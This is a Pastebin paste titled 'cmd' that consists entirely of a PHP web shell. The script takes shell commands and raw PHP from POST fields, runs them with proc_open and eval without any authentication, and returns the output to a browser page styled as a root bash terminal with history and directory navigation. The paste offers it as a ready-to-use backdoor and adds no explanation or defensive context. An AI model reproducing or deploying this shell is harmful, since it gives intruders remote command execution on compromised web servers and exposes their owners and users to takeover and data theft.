alifazel

cmd

Nov 22nd, 2016
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.37 KB | None | 0 0
  1. <?php
  2. //disable magic quotes!!
  3. error_reporting(E_ALL^E_NOTICE);
  4. $tf = explode('/', $_SERVER["SCRIPT_NAME"]);
  5. $tf = $tf[count($tf)-1];
  6. if (get_magic_quotes_gpc())
  7. {
  8. $process = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST);
  9. while (list($key, $val) = each($process))
  10. {
  11. foreach ($val as $k => $v)
  12. {
  13. unset($process[$key][$k]);
  14. if (is_array($v))
  15. {
  16. $process[$key][stripslashes($k)] = $v;
  17. $process[] = &$process[$key][stripslashes($k)];
  18. }
  19. else
  20. {
  21. $process[$key][stripslashes($k)] = stripslashes($v);
  22. }
  23. }
  24. }
  25. unset($process);
  26. }
  27. //
  28. function shell_exec2($str, $cwd)
  29. {
  30. $pipes = array();
  31. $process = proc_open($str.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, $cwd);
  32. return stream_get_contents($pipes[1]);
  33. }
  34. if ($_POST['verify'])
  35. {
  36. $dirnow = shell_exec2("pwd", $_POST['verify']);
  37. if (substr($dirnow, 0, strlen($dirnow)-1)==$_POST['verify'])
  38. {
  39. echo('document.getElementById("command").value += "\n"; newcmd();');
  40. }
  41. else
  42. {
  43. $ee = explode('/', $_POST['verify']);
  44. echo('document.getElementById("command").value += "\nbash: cd: '.$_POST['verify'].': Permission denied!\n"; newcmd();');
  45. }
  46. exit;
  47. }
  48. if ($_POST['jxcmd'] && $_POST['cwd']) //yea, go AJAX
  49. {
  50. $thecmd = $_POST['jxcmd'];
  51. if (substr($thecmd, 0, 5)=="<php>")
  52. {
  53. eval('$result = '.substr($thecmd, 6).';');
  54. }
  55. else
  56. $result = shell_exec2($_POST['jxcmd']." 2>&1", $_POST['cwd']);
  57. if (substr($result, strlen($result)-1, 1)=="\n")
  58. {
  59. $result = substr($result, 0, strlen($result)-1);
  60. }
  61. echo('document.getElementById("command").value+='.json_encode($result).'+"\n";newcmd();document.getElementById("command").scrollTop=document.getElementById("command").scrollHeight;');
  62. exit;
  63. }
  64. echo('<style>body {background-color: black; color: white; font-size: 12px;}</style><script>'); ?>
  65. window.onload = setthesize;
  66. window.onresize = setthesize;
  67. window.updir = 0;
  68. window.commands = new Array();
  69. window.loggeduser = "<?php
  70. $cmd = shell_exec2("whoami", NULL);
  71. if (strpos($cmd, "not found")===FALSE)
  72. {
  73. echo(substr($cmd, 0, strlen($cmd)-1));
  74. }
  75. ?>";
  76. window.cwd = "<?php
  77. $cmd = shell_exec2("pwd", NULL);
  78. if (strpos($cmd, "not found")===FALSE)
  79. {
  80. echo(substr($cmd, 0, strlen($cmd)-1));
  81. }
  82. ?>";
  83. window.homecwd = "<?php
  84. $cmd = shell_exec2("pwd", NULL);
  85. if (strpos($cmd, "not found")===FALSE)
  86. {
  87. echo(substr($cmd, 0, strlen($cmd)-1));
  88. }
  89. ?>";
  90. function setthesize()
  91. {
  92. document.getElementById("command").style.height=(window.innerHeight-20)+"px";
  93. document.getElementById("command").style.width=(window.innerWidth-20)+"px";
  94. document.getElementById("command").selectionStart=document.getElementById("command").value.length;
  95. document.getElementById("command").selectionEnd=document.getElementById("command").value.length;
  96. document.getElementById("command").focus();
  97. }
  98. function appenddirectory(str)
  99. {
  100. if (str.substr(0, 1)=="/")
  101. window.cwd = str;
  102. else
  103. {
  104. var c = window.cwd+"/"+str;
  105. var real = new Array();
  106. c = c.split("/"); var i;
  107. for(i=0;i<c.length;i++)
  108. {
  109. if ((c[i] == "..") && real.length>0)
  110. {
  111. real.splice(real.length-1, 1);
  112. }
  113. else if ((c[i] != ".") && (c[i] != ""))
  114. real.push(c[i]);
  115. }
  116. window.cwd = "/"+real.join("/");
  117. }
  118. }
  119. function writelastline(str)
  120. {
  121. var call = document.getElementById("command").value.split("\n"), i;
  122. call[call.length-1] = str;
  123. document.getElementById("command").value = call.join("\n");
  124. }
  125. function cmdup(e)
  126. {
  127. if (window.commands.length>(window.updir))
  128. {
  129. window.updir++;
  130. writelastline("");
  131. newcmd();
  132. document.getElementById("command").value += window.commands[window.commands.length-window.updir];
  133. }
  134. if (e.stopPropagation)
  135. {
  136. e.stopPropagation();
  137. e.preventDefault();
  138. }
  139. document.getElementById("command").scrollTop=document.getElementById("command").scrollHeight;
  140. }
  141. function cmdown(e)
  142. {
  143. if (window.updir>1)
  144. {
  145. window.updir--;
  146. writelastline("");
  147. newcmd();
  148. document.getElementById("command").value += window.commands[window.commands.length-window.updir];
  149. }
  150. if (e.stopPropagation)
  151. {
  152. e.stopPropagation();
  153. e.preventDefault();
  154. }
  155. document.getElementById("command").scrollTop=document.getElementById("command").scrollHeight;
  156. }
  157. function postAsynchronousAjax(url, values)
  158. {
  159. var xmlhttp;
  160. if (window.XMLHttpRequest)
  161. {
  162. xmlhttp=new XMLHttpRequest()
  163. xmlhttp.open("POST",url,true);
  164. xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  165. xmlhttp.send(values);
  166. xmlhttp.onreadystatechange=function()
  167. {
  168. if (xmlhttp.readyState==4)
  169. {
  170. if (xmlhttp.status==200)
  171. {
  172. eval(xmlhttp.responseText);
  173. }
  174. }
  175. }
  176. }
  177. else if (window.ActiveXObject)
  178. {
  179. xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
  180. if (xmlhttp)
  181. {
  182. xmlhttp.open("POST",url,true);
  183. xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  184. xmlhttp.send(values);
  185. xmlhttp.onreadystatechange=function()
  186. {
  187. if (xmlhttp.readyState==4)
  188. {
  189. if (xmlhttp.status==200)
  190. {
  191. eval(xmlhttp.responseText);
  192. }
  193. }
  194. }
  195. }
  196. }
  197. }
  198. function urlencode (str)
  199. {
  200. return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28').
  201. replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+');
  202. }
  203. function newcmd()
  204. {
  205. document.getElementById("command").value += "["+window.loggeduser+"@<?php echo($_SERVER['HTTP_HOST']); ?> "+((window.cwd=="/")?("/"):(window.cwd.split("/")[window.cwd.split("/").length-1]))+"]# ";
  206. document.getElementById("command").scrollTop=document.getElementById("command").scrollHeight;
  207. }
  208. function exec(e)
  209. {
  210. window.updir=0;
  211. var all = document.getElementById("command").value.split("\n");
  212. if (all[all.length-1].substr(all[all.length-1].indexOf("#")).substr(2)=="clear")
  213. {
  214. window.commands = new Array();
  215. document.getElementById("command").value="";
  216. newcmd();
  217. e.preventDefault();
  218. }
  219. else if (all[all.length-1].substr(all[all.length-1].indexOf("#")).substr(2, 2)=="cd")
  220. {
  221. e.preventDefault();
  222. window.commands.push(all[all.length-1].substr(all[all.length-1].indexOf("#")).substr(2));
  223. if (all[all.length-1].substr(all[all.length-1].indexOf("#")).substr(5)=="~")
  224. {
  225. window.cwd = window.homecwd;
  226. document.getElementById("command").value += "\n"; newcmd();
  227. }
  228. else
  229. {
  230. appenddirectory(all[all.length-1].substr(all[all.length-1].indexOf("#")).substr(5));
  231. postAsynchronousAjax("<?php echo($tf); ?>", "verify="+urlencode(window.cwd));
  232. }
  233. }
  234. else
  235. {
  236. e.preventDefault();
  237. document.getElementById("command").value += "\n";
  238. window.commands.push(all[all.length-1].substr(all[all.length-1].indexOf("#")).substr(2));
  239. postAsynchronousAjax("<?php echo($tf); ?>", "jxcmd="+urlencode(all[all.length-1].substr(all[all.length-1].indexOf("#")).substr(2))+"&cwd="+window.cwd);
  240. }
  241. document.getElementById("command").scrollTop=document.getElementById("command").scrollHeight;
  242. }
  243. function bsp(e)
  244. {
  245. var all = document.getElementById("command").value.split("\n");
  246. if (all[all.length-1].length==(all[all.length-1].indexOf("#")+2))
  247. e.preventDefault();
  248. }
  249. <?php echo('function parsekey(e, ths){if (e.keyCode==13){exec(e);}else if(e.keyCode==38){cmdup(e);return false;}else if(e.keyCode==40){cmdown(e);return false;}else if(e.keyCode==8){bsp(e);}}</script><textarea rows=7 cols=130 id="command" onkeypress="parsekey(event, this);"></textarea><br>');?>
  250. <script>
  251. newcmd();
  252. </script>
Advertisement
Add Comment
Please, Sign In to add comment